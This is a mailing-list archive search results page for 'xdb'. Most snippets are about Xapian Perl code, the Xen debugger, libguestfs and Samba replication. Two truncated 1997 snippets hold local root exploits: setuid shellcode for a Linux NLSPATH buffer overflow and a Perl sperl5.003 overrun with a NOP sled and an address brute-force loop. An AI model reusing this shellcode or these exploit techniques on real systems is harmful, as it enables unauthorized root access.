Displaying 20 results from an estimated 29 matches for "xdb".
Did you mean:
db
2018 Mar 30
2
sorting large msets
...ian::Document;
use Search::Xapian qw/:standard/;
use Search::Xapian::WritableDatabase;
use File::Temp qw(tempdir);
use Time::HiRes qw(clock_gettime CLOCK_MONOTONIC);
my $tmp = tempdir('xapian-test-XXXXXXX', CLEANUP => 1, TMPDIR => 1);
my $flag = Search::Xapian::DB_CREATE_OR_OPEN;
my $xdb = Search::Xapian::WritableDatabase->new($tmp, $flag);
my $n = shift || 100;
for my $i (0..$n) {
$xdb->begin_transaction;
for my $j (0..2000) {
my $doc = Search::Xapian::Document->new;
my $num = Search::Xapian::sortable_serialise(($i * 1000) + $j);
$doc->add_value(0, $num);
$do...
2012 Aug 29
4
xen debugger (kdb/xdb/hdb) patch for c/s 25467
Hi Guys,
Thanks for the interest in the xen hypervisor debugger, prev known as
kdb. Btw. I''m gonna rename it to xdb for xen-debugger or hdb for
hypervisor debugger. KDB is confusing people with linux kdb debugger
and I often get emails where people think they need to apply linux kdb
patch also...
Anyways, attaching patch that is cleaned up of my debug code that I
accidentally left in prev posting. Should apply...
2023 May 03
1
manual flushing thresholds for deletes?
...= length($1)*($3+1); n += ($3+1)} END {print t/n}'
# (also added "NR > 1" to ignore the delve header line)
Which gives me 6.00067, so rounding to 6 seems fine either way.
My Perl deletion code is something like:
my $EST_LEN = 6;
...
for my $docid (@docids) {
$TXN_BYTES -= $xdb->get_doclength($docid) * $EST_LEN;
$xdb->delete_document($docid);
if ($TXN_BYTES < 0) { # flush within txn
$xdb->commit_transaction;
$TXN_BYTES = 8000000;
$xdb->begin_transaction;
}
}
> > (that awk bit should be overflow-free)
<snip>
> Or use a langu...
2023 Mar 27
1
manual flushing thresholds for deletes?
On Mon, Mar 27, 2023 at 11:22:09AM +0000, Eric Wong wrote:
> Olly Betts <olly at survex.com> wrote:
> > 10 seems too long. You want the mean word length weighted by frequency
> > of occurrence. For English that's typically around 5 characters, which
> > is 5 bytes. If we go for +1 that's:
>
> Actually, 10 may be too short in my case since there's a
2009 Sep 02
6
SXCE 121 Kernel Panic while installing NetBSD 5.0.1 PVM DomU
...all!
I am running SXCE 121 on a dual quad-core X2200M2 (64 bit of course).
During an installation of a NetBSD 5.0.1 PVM domU, the entire machine
crashed with a kernel panic. Here''s what I managed to salvage from
the LOM console of the machine:
Sep 2 18:55:19 glaurung genunix: /xpvd/xdb@41,51712 (xdb5) offline
Sep 2 18:55:19 glaurung genunix: /xpvd/xdb@41,51728 (xdb6) offline
Sep 2 18:55:19 glaurung genunix: /xpvd/xnb@41,0 (xnbo3) offline
Sep 2 18:56:36 glaurung genunix: /xpvd/xdb@42,51712 (xdb5) online
Sep 2 18:56:36 glaurung genunix: /xpvd/xdb@42,51728 (xdb6) online...
2023 May 03
1
manual flushing thresholds for deletes?
...he term frequency for boolean terms,
so that's:
xapian-delve -avv1 .|tr -d A-Z|awk '{f = $3 ? $3 : $2; t += length($1)*f; n += f} END {print t/n}'
> My Perl deletion code is something like:
>
> my $EST_LEN = 6;
> ...
> for my $docid (@docids) {
> $TXN_BYTES -= $xdb->get_doclength($docid) * $EST_LEN;
However you're using that estimate here, and the document length
doesn't include boolean terms (it's sum(wdf) over the terms in the
document), so including them in $EST_LEN seems wrong. For you doing
so increases $EST_LEN, so you'll tend to ov...
2012 Dec 15
1
virt-resize Fatal error: exception Guestfs.Error("e2fsck_f
...f\x82\xbb\x00\xbb\x00p\xebhf\x8bE\x04f\x09\xc0\x0f\x85\xa3\x00f\x8b\x05f1\xd2f\xf74\x88T\x0af1\xd2f\xf7t\x04\x88T\x0b\x89D\x0c;D\x08\x0f\x8d\x83\x00\x8b\x04*D\x0a9E\x08\x7f\x03\x8bE\x08)E\x08f\x01\x05f\x83U\x04\x00\x8aT\x0d\xc0\xe2\x06\x8aL\x0a\xfe\xc1\x08\xd1\x8al\x0cZR\x8at\x0bP\xbb\x00p\x8e\xc31\xdb\xb4\x02\xcd\x13rP\x8c\xc3\x8eE\x0aX\xc1\xe0\x05\x01E\x0a`\x1e\xc1\xe0\x03\x89\xc11\xff1\xf6\x8e\xdb\xfc\xf3\xa5\x1f\xe8>\x00t\x06\xbe;\x81\xe8c\x00a\x83}\x08\x00\x0f\x85\x1d\xff\x83"<truncated, original size 2097152 bytes>
libguestfs: trace: pwrite_device "/dev/sdb" "R...
2006 Nov 14
1
Debugging Onyx install
...orNoTeb no mapping for c0000119
Backtrace:
=>1 0x7e3393a5 SysAllocString+0x1b in oleaut32 (0x7e4abec8)
2 0x7e35811a in oleaut32 (+0x3811a) (0x7e4ac288)
3 0x7e35cbc4 LoadTypeLibEx+0x748 in oleaut32 (0x7e4ac4e8)
err:dbghelp:pe_load_dbg_file -Unable to peruse .DBG file MSVBVM50.dbg
("\xf7\xdb\xf2~\xb8\xee4")
4 0x0f0cdbe9 in msvbvm50 (+0xcdbe9) (0x7e4ac654)
5 0x00402351 in setup (+0x2351) (0x00000001)
6 0x00000000 (0x00000000)
0x7e3393a5 SysAllocString+0x1b in oleaut32: cmpw $0,0x0(%edx)
So I have a page fault and need to debug it. The installer is a
setup.exe written...
2019 Aug 05
2
synchronization problem between DC
...om.br,CN=MicrosoftDNS,DC=DomainDnsZones,DC=empresa,DC=com,DC=br'
[ldap://SAMBA4-DC]
Difference in attribute values:
dnsRecord =>
['\x04\x00\x01\x00\x05\xf0\x00\x00\xdd\x05Yx\x00\x00\x00<\x00\x00\x00\x005\xfd7\x00\xac\x15\xa0\x01']
['\x04\x00\x01\x00\x05\xf0\x00\x00\xdb\x05Yx\x00\x00\x00<\x00\x00\x00\x005\xfd7\x00\xac\x15\xa0\x01']
FAILED
* Result for [DNSDOMAIN]: FAILURE
Does this problem occur because of the Windows Server 2008 server?
Would anyone know why this loss of synchronization occurs?
Regards,
M?rcio Bacci
2017 Mar 13
2
virt-customize fail to inject firstboot script when running it from script.
...e: write_append "/var/lib/urandom/random-seed" "\x87}\x96\x13\xa73\xd6\xc8\x7f\x93\xd0)\x1d\xcd\xf1\xab\xca?`[u\x80\x0b\xd4\xebIwC\xd2\x94\xfcm\xc9!\x0fj\x04\xe9\x92h\xdc\xf5\x07\xc3\xc5\xd4\xae\x1f\xff\xc9\xb0K%\x9f\xad\xff{Y\xbfT\xb2\x92\x0b\x03\xde<\xb2\xfe\xc7\xeb\x01\xb6\xd4!\xdb\xb1\x18\x1d6\xa9\xb9SO#\xae8\xb80\x1b|\xa4\xc3V\xda\x0e%\x81\xc1\x9a\xbfS\xa5\xeb\x94\xb9\xf0{\xe8 \xcb|\x00\xe8\xe2-\xfa\x87\x15\xbe\x96\xbb\xffW#\\x84\x83\x8c\x06C\xf9\xb7\xb9\xff!\x8c\x18\x17\xd92\x1a\xd6W\xc0\xab\x11\x04\x09G\xacG/\xd7\xe6g9\xd4\xbc\xa2gz\xee\x06s+\x8bn\xb9\xa0\x94&L\xec\x7...
2023 Aug 18
1
does Xapian::Enquire hold an MVCC revision?
On Thu, Aug 17, 2023 at 09:28:26PM +0000, Eric Wong wrote:
> In other words, is it possible to avoid duplicates if new
> documents are inserted into the DB by another process in-between
> ->get_mset calls when reusing Xapian::Enquire objects?
The Database object itself effectively does (it works in a snapshot of
the state of the database when you open it, or last called reopen()
which
2017 Mar 14
0
Re: virt-customize fail to inject firstboot script when running it from script.
...e: write_append "/var/lib/urandom/random-seed" "\x87}\x96\x13\xa73\xd6\xc8\x7f\x93\xd0)\x1d\xcd\xf1\xab\xca?`[u\x80\x0b\xd4\xebIwC\xd2\x94\xfcm\xc9!\x0fj\x04\xe9\x92h\xdc\xf5\x07\xc3\xc5\xd4\xae\x1f\xff\xc9\xb0K%\x9f\xad\xff{Y\xbfT\xb2\x92\x0b\x03\xde<\xb2\xfe\xc7\xeb\x01\xb6\xd4!\xdb\xb1\x18\x1d6\xa9\xb9SO#\xae8\xb80\x1b|\xa4\xc3V\xda\x0e%\x81\xc1\x9a\xbfS\xa5\xeb\x94\xb9\xf0{\xe8 \xcb|\x00\xe8\xe2-\xfa\x87\x15\xbe\x96\xbb\xffW#\\x84\x83\x8c\x06C\xf9\xb7\xb9\xff!\x8c\x18\x17\xd92\x1a\xd6W\xc0\xab\x11\x04\x09G\xacG/\xd7\xe6g9\xd4\xbc\xa2gz\xee\x06s+\x8bn\xb9\xa0\x94&L\xec\x7...
2011 Apr 09
1
Pretty URLs for omega?
...YPE=radio NAME=DEFAULTOP VALUE=or > Match any word
<INPUT TYPE=radio NAME=DEFAULTOP VALUE=and CHECKED> Match all words
</center><br>
<INPUT TYPE=hidden NAME=DB VALUE="default">
<INPUT TYPE=hidden NAME=FMT VALUE="query">
<INPUT TYPE=hidden NAME=xDB VALUE="default">
<INPUT TYPE=hidden NAME=xFILTERS VALUE="--O">
</FORM>
<hr>
</body>
</html>
Source of above index.html:
http://viktorpetersson.com/2010/08/01/create-a-lightweight-intranet-search-e
ngine-with-xapian-on-freebsd/
Sorry if this q...
2012 Jun 04
1
Search not finding queries with stop words.
...er);
$indexer->set_stopper($stopper);
$indexer->set_document($doc);
$indexer->index_text($docBody);
$indexer->increase_termpos();
$indexer->index_text($subject);
... (other index_text and add_value calls)
$xdb->add_document($doc);
If I look for something like index of elements, I get no results even
though that phrase exists (no, I don't do a phrase search, just those
three words separated by spaces). However if I leave off the "of" I get
the expected number of hits. I'm guessi...
2017 Mar 14
2
Re: virt-customize fail to inject firstboot script when running it from script.
...e: write_append "/var/lib/urandom/random-seed" "\x87}\x96\x13\xa73\xd6\xc8\x7f\x93\xd0)\x1d\xcd\xf1\xab\xca?`[u\x80\x0b\xd4\xebIwC\xd2\x94\xfcm\xc9!\x0fj\x04\xe9\x92h\xdc\xf5\x07\xc3\xc5\xd4\xae\x1f\xff\xc9\xb0K%\x9f\xad\xff{Y\xbfT\xb2\x92\x0b\x03\xde<\xb2\xfe\xc7\xeb\x01\xb6\xd4!\xdb\xb1\x18\x1d6\xa9\xb9SO#\xae8\xb80\x1b|\xa4\xc3V\xda\x0e%\x81\xc1\x9a\xbfS\xa5\xeb\x94\xb9\xf0{\xe8 \xcb|\x00\xe8\xe2-\xfa\x87\x15\xbe\x96\xbb\xffW#\\x84\x83\x8c\x06C\xf9\xb7\xb9\xff!\x8c\x18\x17\xd92\x1a\xd6W\xc0\xab\x11\x04\x09G\xacG/\xd7\xe6g9\xd4\xbc\xa2gz\xee\x06s+\x8bn\xb9\xa0\x94&L\xec\x7...
2019 Aug 05
0
synchronization problem between DC
...ones,DC=empresa,DC=com,DC=br'
> [ldap://SAMBA4-DC]
> Difference in attribute values:
> dnsRecord =>
>
> ['\x04\x00\x01\x00\x05\xf0\x00\x00\xdd\x05Yx\x00\x00\x00<\x00\x00\x00\x005\xfd7\x00\xac\x15\xa0\x01']
>
> ['\x04\x00\x01\x00\x05\xf0\x00\x00\xdb\x05Yx\x00\x00\x00<\x00\x00\x00\x005\xfd7\x00\xac\x15\xa0\x01']
> FAILED
>
> * Result for [DNSDOMAIN]: FAILURE
>
> Does this problem occur because of the Windows Server 2008 server?
>
> Would anyone know why this loss of synchronization occurs?
>
> Regards,
>...
1997 Feb 14
0
Linux NLSPATH buffer overflow (fwd)
...gt;
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
"\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 2048
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize - 4; i += 4)
*(char **)&buffer[i] = get_sp() - 3072;
memset(buffer, 0x...
1997 Nov 13
0
another buffer overrun in sperl5.003
...hellcode =
"\x90" x 512 . # nops
"\xbc\xf0\xff\xff\xbf" . # movl $0xbffffff0,%esp
# "standard shellcode" by Aleph One
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
# start and end of .data
# adjust this using /proc/*/maps
$databot = 0x080a2000;
$datatop = 0x080ab000;
# trial and error loop
$address = $databot + 4;
while ($address < $datatop) {
$smash_me =
$shellcode . ('...
2019 Aug 06
1
synchronization problem between DC
...'
>> [ldap://SAMBA4-DC]
>> Difference in attribute values:
>> dnsRecord =>
>>
>> ['\x04\x00\x01\x00\x05\xf0\x00\x00\xdd\x05Yx\x00\x00\x00<\x00\x00\x00\x005\xfd7\x00\xac\x15\xa0\x01']
>>
>> ['\x04\x00\x01\x00\x05\xf0\x00\x00\xdb\x05Yx\x00\x00\x00<\x00\x00\x00\x005\xfd7\x00\xac\x15\xa0\x01']
>> FAILED
>>
>> * Result for [DNSDOMAIN]: FAILURE
>>
>> Does this problem occur because of the Windows Server 2008 server?
>>
>> Would anyone know why this loss of synchronization occ...
2018 Jul 19
1
choosing between probabilistic and boolean prefixes for terms
...cial:
our $LANG = 'english';
sub stemmer { Search::Xapian::Stem->new($LANG) }
sub qp {
my ($self) = @_;
my $qp = $self->{query_parser};
return $qp if $qp;
# new parser
$qp = Search::Xapian::QueryParser->new;
$qp->set_default_op(OP_AND);
$qp->set_database($self->{xdb});
$qp->set_stemmer($self->stemmer);
$qp->set_stemming_strategy(STEM_SOME);
$qp->set_max_wildcard_expansion(100);
$qp->add_valuerangeprocessor(
Search::Xapian::NumberValueRangeProcessor->new(YYYYMMDD, 'd:'));
$qp->add_valuerangeprocessor(
Search::Xapian::Number...